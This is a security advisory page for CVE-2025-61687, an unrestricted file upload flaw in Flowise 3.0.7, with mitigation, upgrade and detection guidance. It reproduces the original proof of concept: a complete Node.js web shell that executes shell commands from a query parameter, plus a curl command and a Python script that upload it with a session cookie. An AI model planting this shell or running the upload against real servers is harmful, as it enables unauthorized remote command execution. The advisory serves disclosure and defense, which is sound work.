NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Flowise

CVE-2025-61687: FlowiseAI/Flosise has File Upload vulnerability

highCVSS 3.1 8.3GHSA-35g6-rrw3-v6xc

Flowise 3.0.7 accepts any file through its attachments upload endpoint, with no check of extension, MIME type or content. An authenticated user can store a Node.js web shell on the server, which leads to remote code execution if it is later run. Fixed in flowise 3.0.8.

Published Oct 8, 2025 · Updated Oct 13, 2025 · Analysis Nov 1, 2026

What an attacker can do

A POST to /api/v1/attachments/{chatflowId}/{chatId} goes through Multer to createFileAttachment, which moves the file to permanent storage (storageUtils.ts). The only filtering the advisory finds is on dangerous characters in the file name. Extensions, MIME types and content are not checked, so shell.js uploaded as application/javascript is stored as is.

The proof of concept uploads a small Node.js server that runs exec() on a cmd query parameter. The advisory states the upload does not run by itself. Execution needs an administrator mistake or a second flaw that runs or includes the file. In this case the real danger is the combination: a stored, attacker-chosen script on the host that another bug can trigger.

The attacker needs a valid session (the PoC sends a jwt cookie) and a chatflow ID. The CVSS 3.1 vector shows network access, low privileges, and high integrity and availability impact. The EPSS percentile is high (about 0.96), so this issue is more likely than most to be targeted. The same release line also fixed arbitrary file write and read through Flowise's file tools, which are one way to chain such a file.

Who is affected

flowise 3.0.7 on npm, as recorded in the advisory data. Any instance on which users can sign in and reach the attachments endpoint is exposed, including chatflows opened to the public if they accept uploads.

npm ls flowise
npm ls -g flowise

For Docker, check the image tag.

flowise

Ecosystem
npm
Affected
= 3.0.7
Fixed in
3.0.8
Check
npm ls flowise

How to fix it

Upgrade to flowise 3.0.8:

npm install -g [email protected]

The 3.0.8 release notes do not describe this upload fix in detail, so confirm the behavior in your own test instance. The advisory lists no workaround. Until you upgrade, restrict who can sign in, block the attachments route at your reverse proxy if you do not need uploads, and run Flowise as an unprivileged user that cannot execute files from the upload directory.

After upgrading, inspect the storage directory for files you did not expect, because an earlier upload stays on disk.

How to tell if you were hit

Search the Flowise storage and uploads directories for .js, .mjs, .sh, .php or other executable files, especially under chatflow and chat ID folders. Look in reverse-proxy logs for POST requests to /api/v1/attachments/ with script content types. Check for Node processes started outside the Flowise service, new listening ports such as 8888, and outbound connections from the Flowise host. The PoC shell logs Executing: lines to its console.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

A file upload vulnerability in FlowiseAI allows authenticated users to upload arbitrary files without proper validation. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE).

Details

The system fails to validate file extensions, MIME types, or file content during uploads. As a result, malicious scripts such as Node.js-based web shells can be uploaded and stored persistently on the server. These shells expose HTTP endpoints capable of executing arbitrary commands if triggered.

The uploaded shell does not automatically execute, but its presence allows future exploitation via administrator error or chained vulnerabilities.

Taint Flow

  • Taint 01: Route Registration POST file requests are routed to the controller via Multer https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/routes/attachments/index.ts#L8
  • Taint 02: Multer Settings Uploaded files are stored temporarily before further handling https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/index.ts#L1950-L1954
  • Taint 03: Controller Receives the file from Multer and delegates to the service https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/controllers/attachments/index.ts#L4-L11
  • Taint 04: Service Layer Processes the file and sends results back to controller https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/services/attachments/index.ts#L7-L16
  • Taint 05: createFileAttachment Extracts metadata, moves file to permanent storage https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/createAttachment.ts#L118-L126
  • Taint 06: File Save Path Creates storage directory and saves file https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L170-L175 https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L533-L541
  • Taint 07: File Filtering Filters dangerous characters in file names but does not reject malicious content https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L1104-L1111

PoC

shell.js (Node.js Web Shell)

const { exec } = require('child_process');
const http = require('http');

const server = http.createServer((req, res) => {
    const url = new URL(req.url, 'http://localhost');
    const cmd = url.searchParams.get('cmd');

    if (cmd) {
        console.log(`Executing: ${cmd}`);
        exec(cmd, (error, stdout, stderr) => {
            res.writeHead(200, {'Content-Type': 'text/plain'});
            if (error) {
                res.end(`Error: ${error.message}\n${stderr || ''}`);
            } else {
                res.end(stdout || 'Command executed successfully');
            }
        });
    } else {
        res.writeHead(200, {'Content-Type': 'text/html'});
        res.end(`
            <h1>Node.js Web Shell</h1>
            Use ?cmd=command to execute
            Example: ?cmd=id
        `);
    }
});

const PORT = 8888;
server.listen(PORT, '0.0.0.0', () => {
    console.log(`Shell running on port ${PORT}`);
    console.log(`Access: http://localhost:${PORT}?cmd=id`);
});

curl Upload

curl -X POST "http://localhost:3000/api/v1/attachments/0237eefc-18c5-46b2-8b3c-97aa516133fc/$(uuidgen)" \
  -H "Cookie: jwt=ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0" \
  -F "[email protected];type=application/javascript"

Python Upload Script

import requests
import uuid

TARGET_URL = "http://localhost:3000"
CHATFLOW_ID = "0237eefc-18c5-46b2-8b3c-97aa516133fc"
TOKEN = "ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0"
CHAT_ID = str(uuid.uuid4())

def upload_shell():
    url = f"{TARGET_URL}/api/v1/attachments/{CHATFLOW_ID}/{CHAT_ID}"
    headers = {'Cookie': f'jwt={TOKEN}'}
    files = {'files': ('shell.js', open('shell.js', 'rb'), 'application/javascript')}
    r = requests.post(url, headers=headers, files=files)

    if r.status_code == 200:
        print("[✓] Upload success")
        print(r.text)
    else:
        print(f"[✗] Upload failed ({r.status_code})")
        print(r.text)

if __name__ == "__main__":
    upload_shell()

Impact

An attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.

Credited to im-soohyun.

Questions

Does uploading the file run the shell automatically?

No. The advisory says the uploaded shell does not execute on its own. Exploitation needs an admin error or another vulnerability that runs the stored file.

Which Flowise version fixes CVE-2025-61687?

flowise 3.0.8. The advisory data lists 3.0.7 as the vulnerable version.

Is authentication required?

Yes. The PoC uses a jwt session cookie, and the CVSS 3.1 vector lists low privileges required.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Flowise vulnerabilities

All Flowise entries